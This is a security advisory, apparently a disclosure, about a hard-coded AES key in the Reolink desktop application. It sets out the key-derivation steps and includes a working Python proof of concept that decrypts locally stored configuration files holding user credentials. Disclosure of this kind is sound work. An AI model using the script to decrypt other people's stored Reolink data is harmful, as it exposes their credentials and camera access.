1. Overview

The Reolink application uses the AES-CFB algorithm to encrypt configuration files and other sensitive data.

However, the encryption key is handled in an insecure manner, which allows attackers to easily decrypt the protected configuration data.

This corresponds to CWE-321: Use of Hard-coded Cryptographic Key, CWE-522: Insufficiently Protected Credentials.


2. Details

The Reolink application stores user configuration and other sensitive information at the following path:

%APPDATA%\\reolink\\<UUID>.json

This configuration file is encrypted using AES-CFB, and the AES key used for decryption is derived through the following process:

  1. Open the file com.reolink.app.client located in %APPDATA%.

    The file contains data in JSON format, for example:

    {
    	"data": "+lWlitlpr9vBiG71RCJYoPSJKVnUgGVbgu4v9W6K3N0kzgLv9HEQpqVi2fMnHdb7iWhYgb5KeRhYb6IPVWRR4kxTcwTDfQmMOvFWLuqHPRJBt9ozPSo4TYDXzjBN0YAW",
    	"__internal__": {
    		"migrations": {
    			"version": "8.18.12"
    		}
    	}
    }
    
  2. The app uses the following decryption logic: MD5("com.reolink.app").upper() as the AES key, and bcswebapp1234567 as the IV. The encrypted string is base64-decoded and then decrypted.

    This results in a value like:

    59083200-3875-4f67-a067-d953286114a0
    
  3. The AES key used for decrypting <UUID>.json is derived as follows: MD5("59083200-3875-4f67-a067-d953286114a0").upper().encode(). The IV remains the same (bcswebapp1234567).


3. Proof of Concept (PoC)

import json
import base64
from pathlib import Path
from Crypto.Cipher import AES
from hashlib import md5

key_store_path = Path.home() / "AppData/Roaming/com.reolink.app.client"

base64_cipher = ""  # Input your base64 cipher data here
iv = b"bcswebapp1234567"

def decrypt_aes_cfb_base64(base64_str, key_bytes, iv_bytes):
    cipher = AES.new(key_bytes, AES.MODE_CFB, iv=iv_bytes, segment_size=128)
    decrypted = cipher.decrypt(base64.b64decode(base64_str))
    return decrypted

def extract_first_json_string(utf8_str):
    first = utf8_str.find('{')
    last = utf8_str.find('}') + 1
    return utf8_str[first:last]

def get_key_str_from_keystore(path):
    with open(path, "r", encoding="utf-8") as f:
        obj = json.load(f)
    enc_data = obj["data"]
    dummy_key = "com.reolink.app"
    aes_key = md5(dummy_key.encode()).hexdigest().upper().encode()
    decrypted = decrypt_aes_cfb_base64(enc_data, aes_key, iv)
    try:
        json_part = extract_first_json_string(decrypted.decode("utf-8", errors="ignore"))
        key_data = json.loads(json_part)
        print("[+] Key extracted successfully:", key_data["key"])
        return key_data["key"]
    except Exception as e:
        print("[!] Key extract failure:", e)
        return None

key_str = get_key_str_from_keystore(key_store_path)
if key_str:
    final_key = md5(key_str.encode()).hexdigest().upper().encode()
    final_plaintext = decrypt_aes_cfb_base64(base64_cipher, final_key, iv)
    try:
        print("[+] Final result (UTF-8):")
        print(final_plaintext.decode("utf-8"))
    except UnicodeDecodeError:
        print("[+] Final result (hex):")
        print(final_plaintext.hex())
else:
    print("[!] Key string extraction failed.")

4. Recommendations